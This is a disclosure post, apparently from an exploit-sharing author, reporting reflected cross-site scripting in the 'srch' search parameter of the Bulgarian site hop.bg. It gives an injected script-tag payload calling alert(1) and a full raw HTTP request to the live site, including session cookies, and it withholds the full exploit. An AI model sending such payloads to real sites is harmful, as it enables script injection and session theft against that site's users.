## Titles: hop.bg | web app | Cross-site scripting (reflected)
## ## Titles: hop.bg | web app | Cross-site scripting (reflected)
## Author: nu11secur1ty
## Date: 11/03/2025
## Vendor: https://hop.bg/
## Software: https://hop.bg/
## Reference: https://portswigger.net/web-security/cross-site-scripting

## Description:
The value of the `srch` request parameter is copied into a JavaScript
string which is encapsulated in single quotation marks. The payload
lifmu</script><script>alert(1)</script>nkt8b was submitted in the `srch`
parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject
arbitrary JavaScript into the application's response.

STATUS: HIGH- Vulnerability

[+]Payload:
```
GET
/bg/tyrsene-123?p=123&l=1&srch=gq7ns%3c%2fscript%3e%3cscript%3ealert(1)%3c%2fscript%3ein737&submit_search=
HTTP/1.1
Host: hop.bg
Cache-Control: max-age=0
Sec-CH-UA: "Chromium";v="141", "Not;A=Brand";v="24", "Google Chrome";v="141"
Sec-CH-UA-Mobile: ?0
Sec-CH-UA-Platform: "Windows"
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: Public=3l4neblt0r1q8tl8r1j8vm1kg2; l=1;
_gcl_au=1.1.1810943222.1761893757;
_fbp=fb.1.1761893757009.110679894202803572; _tt_enable_cookie=1;
_ttp=01K8WGTCHG0MT2MTV43EPDVPSH_.tt.1;
_uetsid=a6fe2700b62611f0ba2e15757049e30e;
_uetvid=a6fe6880b62611f0a84c27f8eba50d96;
ttcsid=1761893757500::mkwLVMcL6Tixw1dD6Twz.1.1761893767648.0;
ttcsid_D0S5A7RC77U1EAH3MNBG=1761893757499::8I3zM_RSsJeOcW0e8fgM.1.1761893767648.0
Upgrade-Insecure-Requests: 1
Referer: https://hop.bg/
```

[+]Exploit:
```
Not showing for security reasons
```

## Reproduce:
[href]("Not showing for security reasons")


## Demo PoC:
[href](Not showing for security reasons)

## Time spent:
01:27:00


--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/ and
https://www.asc3t1c-nu11secur1ty.com/
nu11secur1ty <https://nu11secur1ty.blogspot.com/>